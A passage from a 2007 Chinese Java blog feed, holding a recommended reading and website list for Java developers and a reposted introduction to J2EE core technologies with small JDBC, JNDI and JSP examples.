href="http://www.china-pub.com/computers/common/info.asp?id=684" target="_blank"><i>设计模式：可复用面向对象软件的基础</i></a> （李英军 等译，机械工业出版社 ，2005 年）<br />这是一本在专业程序员圈子里更为有名的书，基于作者共同的绰号，这本书被认为是 “四人帮（GOF）之书”。模式是思考和解决普通编程问题时可以重用的方式。学习模式是一门学科。使用好模式（或知道什么时候<i>不</i> 使用模式）是一项技能。忽略模式则是错误的。书中所有的例子都以 C++ 表示，但 Java 语言是从那里诞生的，让 Java 语言程序员由此联系到如何在 Java 语言中实现这些模式相对简单一些。熟悉模式并了解如何使用好模式使编程更加简单。这使得和其他程序员交流也更简单，因为在针对通用问题的通用解决方案中，模式是描述解决方案中彼此协作的大量相关编程概念的快捷方式。一些更为通用的方式，如<i>工厂方法</i> 则是普便存在的，甚至存在于 Java 语言本身。关于明智使用模式的这个主题，也可以阅读 Joshua Kerievsky 的 <i>Refactoring to Patterns</i>，该书称可以让代码来告诉您何时实现模式。</p><p><a name="N10138"><span class="smalltitle">Patterns of Enterprise Application Architecture (Martin Fowler)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/0321127420" target="_blank"><i>Patterns of Enterprise Application Architecture</i></a>（Martin Fowler; Addison-Wesley，2002 年）<br /><a href="http://www.china-pub.com/computers/common/info.asp?id=19923" target="_blank"><i>企业应用架构模式</i></a> （王怀民 等译，机械工业出版社 ，2004 年）<br />比起小型、一次性项目来说，企业开发当然代表了更大的挑战。那并不意味着企业开发带来的所有挑战都是新挑战。事实上有些时候，这项开发<i>已经</i> 是以前完成过的了。Fowler 做了很多个这样的项目。他的书提到了一些通用解决方案，并提供了关于使用、折中和可选方案的指导。Fowler 在书中包含了一些熟悉的模式，如模型视图控制器（MVC），他也提供了一些您也许不了解的模式，如处理 Web 站点上特定页面请求或行为请求的 Page Controller 模式。正如您对待大多数模式一样，一旦您读过许多模式，您就会认为 “我已经知道那个模式了” 。也许是这样，但有一个用来引用模式的通用表达方式还是很有帮助的。在有多个组件（由不同人开发）的大型项目中，该类引用是一项很好的帮助。</p><p><a name="N10156"><span class="smalltitle">UML Distilled (Martin Fowler)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/0321193687" target="_blank"><i>UML Distilled: A Brief Guide to the Standard Object Modeling Language</i></a>（Martin Fowler; Addison-Wesley 2003 年）<br /><a href="http://www.china-pub.com/computers/common/info.asp?id=25547" target="_blank"><i>UML精粹：标准对象语言简明指南（第3版）</i></a> （徐家福 译，清华大学出版社 ，2005 年）<br />对于专业的程序员来说，UML 是一门很重要的通用可视化沟通语言，但是它被过度使用和草率地滥用了。您无需对使用 UML 沟通了解太多。Martin 对 UML 的提炼为您提供了最核心的东西。事实上，前后的封页提供了常规基础上可能使用到的所有东西。该书中 UML 例子的代码都是 Java 代码。</p><p><a name="N10171"><span class="smalltitle">Test-Driven Development: By Example (Kent Beck)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/0321146530" target="_blank"><i>Test-Driven Development: By Example</i></a>（Kent Beck; Addison-Wesley 2002 年）<br /><a href="http://www.china-pub.com/computers/common/info.asp?id=14701" target="_blank"><i>测试驱动开发（中文版）</i></a> （崔凯 译，中国电力出版社 ，2004 年）<br />测试优先编程将使编程发生革命性变化，能助您成为更好的程序员。在写代码之前编写测试开始很难，但却是一项威力强大的技能。通过优先编写测试，可使代码更加简单，并确保从一开始它就能工作（Beck 实践着他提倡的测试优先，与人合写了 JUnit，这是 Java 语言最流行的测试框架）。Beck 的书是权威的参考资料，扩展了的 Money 例子也用 Java 语言写成。Beck 详述了如何用测试优先进行 <b>思考</b>（这也许是许多程序员首先遇到的障碍）。</p><p><a name="N1018F"><span class="smalltitle">The Pragmatic Programmer: From Journeyman to Master (Andy Hunt and Dave Thomas)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/020161622X" target="_blank"><i>The Pragmatic Programmer: From Journeyman to Master</i></a>（Andrew Hunt 和 David Thomas; Addison-Wesley 1999 年）<br /><a href="http://www.china-pub.com/computers/common/info.asp?id=18020" target="_blank"><i>程序员修炼之道——从小工到专家 </i></a>（马维达 译，电子工业出版社 ，2004 年）<br />做一个纯粹的面向对象开发人员有其优势所在。在当今复杂的社会中，作为 Java 语言开发人员，为完成任务常要妥协。Hunt 和 Thomas 探讨了如何不将真正重要的东西妥协掉而完成任务。这不是一本关于 Java 语言的书，而是 Java 语言开发人员重要的思想读物。例如，我认为没从“要解决问题，而不是推卸责任”这句忠言中受益的程序员，不能像个自豪的艺术家一样在他的杰作上签上大名。</p><p><a name="N101AA"><span class="smalltitle">Peopleware: Productive Projects and Teams (Tom DeMarco and Timothy Lister)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/0932633439/qid=1112295380/sr=2-2/ref=pd_ka_b_2_2/102-0023248-0497724" target="_blank"><i>Peopleware: Productive Projects and Teams</i></a>（Tom DeMarco，Timothy Lister; Dorset House，1999 年）<br /><a href="http://www.china-pub.com/computers/common/info.asp?id=9624" target="_blank"><i>人件（第2版） </i></a>（UMLChina 翻译组 译，清华大学出版社 ，2003 年）<br />这份列表中的其他所有书籍都至少和技术有些相关。这本书却不是。在所有技术行话和首字母缩略词的海洋中，有时软件开发人员和经理们会忘记：是<i>人</i> 制造了软件。DeMarco 和 Lister 向我们提醒了这一事实，也向我们提醒了形成这一区别的原因。这不是一本关于一门特定编程语言的书籍，但却是每个 Java 语言程序员都应该读的书。关于 “累死程序员如何让经理们适得其反” 还有许多其他的好书，但这是最好的一本。<br /><br /><br /><br /></p><p><a name="N101C8"><span class="atitle">Web 站点</span></a></p><p>Web 站点的数目浩如烟海，如果您想要消化其中的内容，穷毕生之力也难以全部访问。包含 Java 语言某方面内容的详尽的网站列表会大得离谱。下列站点都是可靠、真实的。</p><p><a name="N101D2"><span class="smalltitle">Sun 的 Java 技术站点</span></a></p><p><a href="http://java.sun.com/" target="_blank">Sun 的 Java 语言站点</a><br />这是 Sun 的 Java 语言主站。作为 Java 语言开发人员，您会发现自己频繁地访问此站点。下列链接特别重要，特别是对新入行的 Java 语言开发人员： </p><ul><li><b>New to Java Center</b><br /><a href="http://java.sun.com/learning/new2java/index.html" target="_blank">New to Java Center</a><br />New to Java Center 存放了许多循序渐进的 Java 技术资源链接。如果您刚接触这门语言，这是一个好的起点。
</li><li><b>教程和代码库</b><br /><a href="http://java.sun.com/docs/books/tutorial/index.html" target="_blank">Java Tutorial</a><br />这里有大名鼎鼎的 Java Tutorial，以及关于 Java 语言各个方面（例如 Collection）的其他教程。 </li></ul><p><a name="N10203"><span class="smalltitle">IBM developerWorks</span></a></p><p><a href="http://www.ibm.com/developerworks/cn/">IBM 的 developerWorks</a><br />推销自己也许有些厚脸皮，但 developerWorks 是一项巨大的资源，收录了大量 Java 语言工具和技术的教程和文章。其内容从初学者指南到学习这门语言到高级并发性技术。可以根据主题搜索内容，然后根据类型浏览。</p><p><a name="N10212"><span class="smalltitle">Apache Software Foundation </span></a></p><p><a href="http://www.apache.org/" target="_blank">Apache Software Foundation</a><br />Apache 站点是许多可重用库（通用领域）和工具的主页，这些库和工具帮助 Java 开发人员进行开发。这里的内容全都是开放源码，所以尽管下载想要的吧！许多极其流行的 Java 语言库和工具（如 Struts、Ant 和 Tomcat）都始于 Apache 项目。Jakarta 专区汇聚了大多数新兴的 Java 语言材料。</p><p><a name="N10222"><span class="smalltitle">Eclipse.org</span></a></p><p><a href="http://www.eclipse.org/" target="_blank">Eclipse</a><br />有几个好的 Java 语言集成开发环境（IDE）。Eclipse（来自 IBM）是最新的 IDE 之一，它很快成为 Java 语言开发的首要 IDE。它完全是开源的，这意味着它是免费的。该站包含了学习如何有效使用 Eclipse 的各种参考资料。这里还有关于 Standard Widget Toolkit（SWT）的信息，SWT 是相对于 Swing 来说更加轻量级的选择。</p><p><a name="N10232"><span class="smalltitle">Eclipse 插件中心和 Eclipse 插件</span></a></p><p><a href="http://www.eclipseplugincentral.com/" target="_blank">Eclipse 插件中心</a> 和 <a href="http://eclipse-plugins.2y.net/">Eclipse 插件</a><br />Eclipse 基于插件架构。事实上，插件是 Eclipse 的 Java 语言开发组件。但有差不多上千个插件，从 Web 开发的插件到在 Eclipse 环境中玩游戏的插件。这两个站点分类列出了大多数插件，可以进行搜索。它们是很棒的资源。如果您想在 Eclipse 开发环境中弄点新东西，幸运的话有某个插件可能已经实现，从这两个站点能找到想要的插件。这两个站点都允许评论插件，这样您就可以知道哪些插件好，哪些值得一试。</p><p><a name="N10246"><span class="smalltitle">JUnit.org</span></a></p><p><a href="http://www.junit.org/" target="_blank">JUnit.org</a><br />Junit 是 Java 语言中一个基本的单元测试框架。该站点包含了 Junit 最新最棒的版本，外加大量有关测试（Java 语言或者其他语言的）各个层面上（针对桌面应用程序、Web 应用程序、J2EE 应用程序等）的其他资源。如果您想找测试资源，这里就是最佳起点。 </p><p><a name="N10256"><span class="smalltitle">TheServerSide.com</span></a></p><p><a href="http://www.theserverside.com/" target="_blank">TheServerSide.com</a><br />如果您要(或将要)从事服务器端 Java 语言的开发，此站点是一处举足轻重的资源。您可以到这里找到有关 JBoss、J2EE、LDAP、Struts 和大量其他主题的文章，并且都是完全可检索的。这些文章不仅仅是简单描述 Java 语言的特征或者支持的库。它们更进一步地描述了库的新奇用法（如使用 Jakarta Velocity 作为规则引擎，而不是模板引擎）。它们也提供了有关 Java 语言现状的连续评论（当前的一篇文章是由 Tim Bray 所写的 <i>Java is boring</i> ）。该站点更好的通用功能之一是对 Java 语言工具和产品（应用服务器等）的矩阵式比较。 </p><p><a name="N10269"><span class="smalltitle">Bruce Eckel's MindView, Inc.</span></a></p><p><a href="http://www.bruceeckel.com/" target="_blank">Bruce Eckel's MindView, Inc.</a><br />Eckel 写了几本 “用 …… 进行思考” 的书，内容关于 Java 语言、Python 和 C++ ，当我学习 Java 语言时，他的 <i>Thinking in Java</i> 对我尤其有帮助。它很实用并切中要害，在“在 Java 语言环境中如何面向对象思考”方面具有卓识。您可以从此站点免费下载他所有书籍的电子版。他也写了许多好文章，并且他把这些文章的链接都放到了这里（包括关于 Jython、Java 和 .NET 比较等内容的文章）。</p><p><a name="N1027C"><span class="smalltitle">ONJava.com</span></a></p><p><a href="http://www.onjava.com/" target="_blank">ONJava.com</a><br />O'Reilley 历年来出版了一些有关编程语言和工具的优秀书籍。他们的专注于 Java 语言的网站也不错。它有些有关各种 Java 语言工具（如 JDOM 和 Hibernate）、Java 平台（如 J2SE 和 J2EE）不同领域不同部分的文章。全部都可以被检索到。他们有优秀的文章和教程。该站点按主题排列。例如有 Java 和 XML、Java Security、Wireless Java 和 Java SysAdmin。该站点也有到 O'Reilley Learning Lab 的链接，在那里您能获得在线参考资料（Java 语言相关和其他的）。那些不是免费的，但是许多都面向大学认证。因此您可以以一种很方便的方式来学习技能，并得到一些认证。 </p><p><a name="N1028C"><span class="smalltitle">java.net</span></a></p><p><a href="http://community.java.net/" target="_blank">java.net 社区</a><br />java.net 社区有多个“社区”，有特定于主题的论坛和文章。例如 Java Desktop 社区有各类与 Java 语言桌面开发相关的资料。Java Patterns 社区作为一个门户，也许对提供 Java 语言的模式资源相当感兴趣。还有一个 Java User Groups (JUG) 社区，在那里能找到有关创建、加入和管理一个 JUG 的信息。 <br /><br /><br />结束语：本文是参考<a href="http://www-128.ibm.com/developerworks">http://www-128.ibm.com/developerworks</a>　的文章整理的。<br />以后还继续收集，因为毕竟不是所有的文章都是最全的，这个我想不尽然，只能说看到好的在继续添加。<br /></p><img src ="http://www.blogjava.net/computerboy/aggbug/97459.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2007-02-02 12:11 <a href="http://www.blogjava.net/computerboy/archive/2007/02/02/97459.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>J2EE的13种核心技术简介</title><link>http://www.blogjava.net/computerboy/archive/2007/02/02/97450.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Fri, 02 Feb 2007 03:53:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2007/02/02/97450.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/97450.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2007/02/02/97450.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/97450.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/97450.html</trackback:ping><description><![CDATA[
		<h5>本文系转载：出处:IT专家网社区</h5>
		<h5>在本文中将解释支撑J2EE的13种核心技术：JDBC,JNDI,EJBs,RMI,JSP,Javaservlets,XML,JMS,JavaIDL,JTS,JTA,JavaMail和JAF，同时还将描述在何时、何处需要使用这些技术。</h5>
		<div class="guanggao">
				<span id="contentAdv">
				</span>
		</div>
		<p>　　Java最初是在浏览器和客户端机器中粉墨登场的。当时，很多人质疑它是否适合做服务器端的开发。现在，随着对Java2平台企业版(J2EE)第三方支持的增多，Java被广泛接纳为开发企业级服务器端解决方案的首选平台之一。</p>
		<p>　　J2EE平台由一整套服务(Services)、应用程序接口(APIs)和协议构成，它对开发基于Web的多层应用提供了功能支持。在本文中将解释支撑J2EE的13种核心技术：JDBC,JNDI,EJBs,RMI,JSP,Javaservlets,XML,JMS,JavaIDL, JTS,JTA,JavaMail和JAF，同时还将描述在何时、何处需要使用这些技术。当然，我还要介绍这些不同的技术之间是如何交互的。此外，为了让您更好地感受J2EE的真实应用，将在WebLogic应用服务器,来自BEA Systems公司的一种广为应用的产品环境下来介绍这些技术。不论对于WebLogic应用服务器和J2EE的新手，还是那些想了解J2EE能带来什么好处的项目管理者和系统分析员，相信本文一定很有参考价值。</p>
		<p>　　<strong>宏观印象:分布式结构和J2EE</strong></p>
		<p>　　过去，二层化应用--通常被称为client/server应用--是大家谈论的最多的。在很多情况下，服务器提供的惟一服务就是数据库服务。在这种解决方案中，客户端程序负责数据访问、实现业务逻辑、用合适的样式显示结果、弹出预设的用户界面、接受用户输入等。client/server结构通常在第一次部署的时候比较容易，但难于升级或改进，而且经常基于某种专有的协议，通常是某种数据库协议。它使得重用业务逻辑和界面逻辑非常困难。更重要的是，在Web时代，二层化应用通常不能体现出很好的伸缩性，因而很难适应Internet的要求。</p>
		<p>　　Sun设计J2EE的部分起因就是想解决二层化结构的缺陷。于是，J2EE定义了一套标准来简化N层企业级应用的开发。它定义了一套标准化的组件，并为这些组件提供了完整的服务。J2EE还自动为应用程序处理了很多实现细节，如安全、多线程等。</p>
		<p>　　用J2EE开发N层应用包括将二层化结构中的不同层面切分成许多层。一个N层化应用A能够为以下的每种服务提供一个分开的层：</p>
		<ul>
				<li>　　<strong>显示：</strong>在一个典型的Web应用中，客户端机器上运行的浏览器负责实现用户界面。</li>
				<li>　　<strong>动态生成显示:</strong>尽管浏览器可以完成某些动态内容显示，但为了兼容不同的浏览器，这些动态生成工作应该放在Web服务器端进行，使用JSP、Servlets，或者XML(可扩展标记语言)和(可扩展样式表语言)。</li>
				<li>　　<strong>业务逻辑：</strong>业务逻辑适合用SessionEJBs(后面将介绍)来实现。</li>
				<li>　　<strong>数据访问：</strong>数据访问适合用EntityEJBs(后面将介绍)和JDBC来实现。</li>
				<li>　　<strong>后台系统集成:</strong>同后台系统的集成可能需要用到许多不同的技术，至于何种最佳需要根据后台系统的特征而定。</li>
				<li>　　<strong>您可能开始诧异：</strong>为什么有这么多的层?事实上，多层方式可以使企业级应用具有很强的伸缩性，它允许每层专注于特定的角色。例如，让Web服务器负责提供页面，应用服务器处理应用逻辑，而数据库服务器提供数据库服务。</li>
		</ul>
		<p>　　由于J2EE建立在Java2平台标准版(J2SE)的基础上，所以具备了J2SE的所有优点和功能。包括“编写一次，到处可用”的可移植性、通过JDBC访问数据库、同原有企业资源进行交互的CORBA技术，以及一个经过验证的安全模型。在这些基础上，J2EE又增加了对EJB(企业级 Java组件)、Javaservlets、Java服务器页面(JSPs)和XML技术的支持。</p>
		<p>　　<strong>分布式结构与WebLogic应用服务器</strong></p>
		<p>　　J2EE提供了一个框架--一套标准API--用于开发分布式结构的应用，这个框架的实际实现留给了第三方厂商。部分厂商只是专注于整个 J2EE架构中的的特定组件，例如Apache的Tomcat提供了对JSP和servlets的支持，BEA系统公司则通过其WebLogic应用服务器产品为整个J2EE规范提供了一个较为完整的实现。<br /></p>
		<p>WebLogic服务器已使建立和部署伸缩性较好的分布式应用的过程大为简化。WebLogic和J2EE代你处理了大量常规的编程任务，包括提供事务服务、安全领域、可靠的消息、名字和目录服务、数据库访问和连接池、线程池、负载平衡和容错处理等。</p>
		<p>　　通过以一种标准、易用的方式提供这些公共服务，象WebLogic服务器这样的产品造就了具有更好伸缩性和可维护性的应用系统，使其为大量的用户提供了增长的可用性。</p>
		<p>　　<strong>J2EE技术</strong></p>
		<p>　　在接下来的部分里，我们将描述构成J2EE的各种技术，并且了解WebLogic服务器是如何在一个分布式应用中对它们进行支持的。最常用的J2EE技术应该是JDBC、JNDI、EJB、JSP和servlets，对这些我们将作更仔细的考察。</p>
		<p>　　<strong>Java Database Connectivity(JDBC)</strong></p>
		<p>　　JDBCAPI以一种统一的方式来对各种各样的数据库进行存取。和ODBC一样，JDBC为开发人员隐藏了不同数据库的不同特性。另外，由于JDBC建立在Java的基础上,因此还提供了数据库存取的平台独立性。</p>
		<p>　　JDBC定义了4种不同的驱动程序，现分述如下：</p>
		<ul>
				<li>　　类型1:JDBC-ODBCBridge</li>
		</ul>
		<p>　　在JDBC出现的初期，JDBC-ODBC桥显然是非常有实用意义的，通过JDBC-ODBC桥，开发人员可以使用JDBC来存取ODBC数据源。不足的是，他需要在客户端安装ODBC驱动程序，换句话说，必须安装MicrosoftWindows的某个版本。使用这一类型你需要牺牲JDBC的平台独立性。另外，ODBC驱动程序还需要具有客户端的控制权限。</p>
		<ul>
				<li>　　类型2:JDBC-nativedriverbridge</li>
		</ul>
		<p>　　JDBC本地驱动程序桥提供了一种JDBC接口，它建立在本地数据库驱动程序的顶层，而不需要使用ODBC。JDBC驱动程序将对数据库的API从标准的JDBC调用转换为本地调用。使用此类型需要牺牲JDBC的平台独立性，还要求在客户端安装一些本地代码。</p>
		<ul>
				<li>　　类型3:JDBC-networkbridge</li>
		</ul>
		<p>　　JDBC网络桥驱动程序不再需要客户端数据库驱动程序。它使用网络上的中间服务器来存取数据库。这种应用使得以下技术的实现有了可能，这些技术包括负载均衡、连接缓冲池和数据缓存等。由于第3种类型往往只需要相对更少的下载时间，具有平台独立性，而且不需要在客户端安装并取得控制权，所以很适合于Internet上的应用。</p>
		<ul>
				<li>　　类型4:PureJavadriver</li>
		</ul>
		<p>　　第4种类型通过使用一个纯Java数据库驱动程序来执行数据库的直接访问。此类型实际上在客户端实现了2层结构。要在N-层结构中应用，一个更好的做法是编写一个EJB，让它包含存取代码并提供一个对客户端具有数据库独立性的服务。</p>
		<p>　　WebLogic服务器为一些通常的数据库提供了JDBC驱动程序，包括Oracle,Sybase,MicrosoftSQLServer以及Informix。它也带有一种JDBC驱动程序用于Cloudscape，这是一种纯Java的DBMS，WebLogic服务器中带有该数据库的评估版本。<br /><br /></p>
		<p>以下让我们看一个JDBC实例：在这个例子中我们假定你已经在Cloudscape中建立了一个PhoneBook数据库，并且包含一个表，名为 CONTACT_TABLE，它带有2个字段：NAME和PHONE。开始的时候先装载CloudscapeJDBCdriver，并请求 drivermanager得到一个对PhoneBookCloudscape数据库的连接。通过这一连接，我们可以构造一个Statement对象并用它来执行一个简单的SQL查询。最后，用循环来遍历结果集的所有数据，并用标准输出将NAME和PHONE字段的内容进行输出。</p>
		<p>
		</p>
		<p>
		</p>
		<table style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
				<tbody>
						<tr>
								<td bgcolor="#f3f3f3">
										<font face="Verdana">import java.sql.*;<br />public class JDBCExample...{　<br />public static void main( String args[] )　<br />...{<br />try...{　<br />Class.forName("COM.cloudscape.core.JDBCDriver");　<br />Connection conn = DriverManager.getConnection("jdbc:cloudscape:PhoneBook");　  Statement stmt = conn.createStatement();　<br />String sql = "SELECT name, phone FROM CONTACT_TABLE ORDER BYname";　<br />ResultSet resultSet = stmt.executeQuery( sql );　<br />String name;　<br />String phone;　<br />while ( resultSet.next() )　<br />...{<br />name = resultSet.getString(1).trim();<br />phone = resultSet.getString(2).trim();<br />System.out.println( name + ", " + phone );　<br />}catch ( Exception e )　<br />...{// Handle exception heree.printStackTrace();　<br />}<br />}　<br />}</font>
								</td>
						</tr>
				</tbody>
		</table>
		<p>　　OK。接着来看一看JDBC是如何在企业应用中的进行使用。</p>
		<p>　　JDBC在企业级应用中的应用。以上实例其实是很基本的，可能有些微不足道。它假定了一个2层结构。在一个多层的企业级应用中，更大的可能是在客户端和一个EJB进行通信，该EJB将建立数据库连接。为了实现和改进可伸缩性和系统性能， WebLogic服务器提供了对连接缓冲池connection pool的支持。</p>
		<p>　　Connection pool减少了建立和释放数据库连接的消耗。在系统启动以后即可建立这样的缓冲池，此后如故再有对数据库的请求，WebLogic服务器可以很简单地从缓冲池中取出数据。数据缓冲池可以在WebLogic服务器的 weblogic.properties 文件中进行定义。</p>
		<p>　　在企业级应用的另一个常见的数据库特性是事务处理。事务是一组申明statement，它们必须做为同一个statement来处理以保证数据完整性。缺省情况下JDBC使用 auto-commit 事务模式。这可以通过使用Connection类的setAutoCommit() 方法来实现。现在已经对JDBC有了一些认识，下面该转向JNDI了。</p>
		<p>　　<strong>Java Naming and Directory Interface (JNDI)</strong></p>
		<p>　　JNDI API被用于执行名字和目录服务。它提供了一致的模型来存取和操作企业级的资源如DNS和LDAP，本地文件系统，后者在应用服务器中的对象。在JNDI 中，在目录结构中的每一个结点称为context。每一个JNDI名字都是相对于context的。这里没有绝对名字的概念存在。对一个应用来说，它可以通过使用 InitialContext 类来得到其第一个context:</p>
		<p>
		</p>
		<p>
		</p>
		<table style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
				<tbody>
						<tr>
								<td bgcolor="#f3f3f3">Context ctx = new InitialContext();</td>
						</tr>
				</tbody>
		</table>
		<br />
		<p>　应用可以通过这个初始化的context经有这个目录树来定位它所需要的资源或对象。例如，假设你在Weblogic服务器中展开了一个EJB并将home接口绑定到名字 myApp.myEJB ，那么该EJB的某个客户在取得一个初始化context以后，可以通过以下语句定位home接口：</p>
		<p>
		</p>
		<table style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
				<tbody>
						<tr>
								<td bgcolor="#f3f3f3">MyEJBHome home = ctx.lookup( "myApp.myEJB" );</td>
						</tr>
				</tbody>
		</table>
		<p>　　在这个例子中，一旦你有了对被请求对象的参考，EJB的home接口就可以在它上面调用方法。我们将在下面的"Enterprise Java Beans"章节中做更多的介绍。</p>
		<p>　　以上关于JNDI的讨论只是冰山之一角而已。如果要更进一步地在context中查找对象，JNDI也提供了一些方法来进行以下操作：将一个对象插入或绑定到context。这在你展开一个EJB的时候是很有效的。从context中移去对象。列出context中的所有对象。创建或删除子一级的context。接下来，要开始关注EJB了。</p>
		<p>　　<strong>Enterprise Java Beans (EJB)</strong></p>
		<p>　　J2EE技术之所以赢得某体广泛重视的原因之一就是EJB。它们提供了一个框架来开发和实施分布式商务逻辑，由此很显著地简化了具有可伸缩性和高度复杂的企业级应用的开发。EJB规范定义了EJB组件在何时如何与它们的容器进行交互作用。容器负责提供公用的服务，例如目录服务、事务管理、安全性、资源缓冲池以及容错性。</p>
		<p>　　EJB规范定义了三种基本的bean类型:</p>
		<ul>
				<li>　　<strong>Stateless session beans:</strong> 提供某种单一的服务，不维持任何状态，在服务器故障发生时无法继续存在，生命期相对较短。例如，一个stateless sessionbean可能被用于执行温度转换计算。</li>
				<li>　　<strong>Stateful session bean:</strong> T提供了与客户端的会话交互，可以存储状态从而代表一个客户。典型例子是购物车。Stateful session bean在服务器故障时无法继续生存，生命气相对较短。每一个实例只用于一个单个的线程。</li>
				<li>　　<strong>Entity beans:</strong> 提供了一致性数据的表示-- 通常存放在数据库中 -- 在服务器故障发生后能继续存在。多用户情况下可以使用EJB来表示相同的数据。entity EJB的一个典型例子是客户的帐号信息。</li>
		</ul>
		<p>　　尽管有以上的区别，所有的EJB还是有许多的共同之处。它们都处理homeinterface。它定义了一个客户端是如何创建与消亡EJB的。可以在bean中对定义了客户端方法的远程接口进行调用;bean类则执行了主要的商务逻辑。描述EJB的开发已经超出了本文的范围。但是，如果一个 EJB已经被开发了或者从第三方进行了购买，它就必须在应用服务器中进行发布。WebLogic Server 5.1带有一个EJB Deployer Tool来协助处理EJB的发布。当你使用EJB Deployer Tool的时候，你要定义客户端所用的JNDI名字来定位EJB。Deployer Tool将生成wrapper类来处理和容器的通信以及在一个jar文件中把被请求的Java类绑定在一起。</p>
		<p>　　一旦EJB被发布，客户端就可以使用它的JNDI名字来定位EJB。首先，它必须得到一个到home接口的reference。然后，客户端可以使用该接口，调用一个create() 方法来得到服务器上运行的某个bean实例的句柄;最后，客户端可以使用该句柄在bean中调用方法。了解 EJB后，让我们再来看JSP。<br /></p>
		<p>　<strong>JavaServer Pages (JSPs)</strong></p>
		<p>　　可能已经有许多人已经熟悉Microsoft的Active Server Pages(ASP)技术了。JSP和ASP相对应的，但更具有平台对立性。他们被设计用以帮助Web内容开发人员创建动态网页，并且只需要相对较少的代码。 即使Web设计师不懂得如何编程也可以使用JSP，因为JSP应用是很方便的。 JSP页面由HTML代码和嵌入其中的Java代码所组成。服务器在页面被客户端所请求以后对这些Java代码进行处理，然后将生成的HTML页面返回给客户端的浏览器。</p>
		<p>　　下面来看一个JSP的简单实例。它只显示了服务器的当前日期和时间。虽然，对语法的具体解释已经超出了本文的范围，但我们还是可以很直观地看到，Java代码被放在 符号的中间，而Java的表达式则放在符号之间。</p>
		<p>
		</p>
		<p>
		</p>
		<table style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
				<tbody>
						<tr>
								<td bgcolor="#f3f3f3">
										<font face="Verdana">＜H1＞Date JSP sample＜/H1＞<br />＜H2＞　<br />＜% response.setHeader("Refresh", 5); %＞　  The current date is ＜%= new Date() %＞.  ＜/H2＞</font>
								</td>
						</tr>
				</tbody>
		</table>
		<p>　　下面是: Java servlets</p>
		<p>　　<strong>Java Servlets</strong></p>
		<p>　　Servlet提供的功能大多与JSP类似，不过实现的方式不同。JSP通常是大多数HTML代码中嵌入少量的Java代码，而 servlets全部由Java写成并且生成HTML。Servlet是一种小型的Java程序，它扩展了Web服务器的功能。作为一种服务器端的应用，当被请求时开始执行，这和CGI Perl脚本很相似。Servlets和CGI脚本的一个很大的区别是：每一个CGI在开始的时候都要求开始一个新的进程 -- 而servlets是在servlet引擎中以分离的线程来运行的。因此servlets在可伸缩性上提供了很好的改进。</p>
		<p>　　在开发servlets的时候，您常常需要扩展javax.servlet.http.HttpServlet类，并且override一些它的方法，其中包括：</p>
		<ul>
				<li>　　<strong>service():</strong> 作为dispatcher来实现命令-定义方法</li>
				<li>　　<strong>doGet():</strong> 处理客户端的HTTP GET请求。</li>
				<li>　　<strong>doPost():</strong> 进行HTTP POST操作</li>
		</ul>
		<p>　　其它的方法还包括处理不同类型的HTTP请求 -- 可以参考HttpServlet API文档。以上描述的是标准J2EE Servlet API的各种方法。WebLogic服务器提供了一个该API完整的实现途径。一旦你开发了一个servlet，你就可以在 weblogic.properties 中加以注册并由此可以在WebLogic服务器中对它进行配置。</p>
		<p>　　通过Java servlets,我们已经到达了J2EE主要技术的末尾了。但J2EE所提供的并不止于这些。下面的段落中我们将简要地看一下现存的一些技术，包括RMI,Java IDL和CORBA, JTA, 以及XML，等等。<br /><br /></p>
		<p>　<strong>Remote Method Invocation (RMI)</strong></p>
		<p>　　正如其名字所表示的那样，RMI协议是在远程对象上调用一些方法。它使用了连续序列方式在客户端和服务器端传递数据。RMI是一种被EJB使用的更下层的协议。</p>
		<p>　　<strong>Java IDL/CORBA</strong></p>
		<p>　　在Java IDL的支持下，开发人员可以将Java和CORBA集成在一起。 他们可以创建Java对象并使之可在CORBA ORB中展开, 或者他们还可以创建Java类并作为和其它ORB一起展开的CORBA对象的客户。后一种方法提供了另外一种途径，通过它Java可以被用于将你的新的应用和legacy系统相集成。</p>
		<p>　　<strong>Java Transaction Architecture (JTA)/Java Transaction Service (JTS)</strong></p>
		<p>　　JTA定义了一种标准的API，应用系统由此可以存取各种事务监控。JTS是CORBA OTS事务监控的基本的实现。JTS规定了事务管理器的实现方式。该事务管理器是在高层支持Java Transaction API (JTA)规范，并且在较底层实现OMG OTS specification的Java映像。JTS事务管理器为应用服务器、资源管理器、独立的应用以及通信资源管理器提供了事务服务。</p>
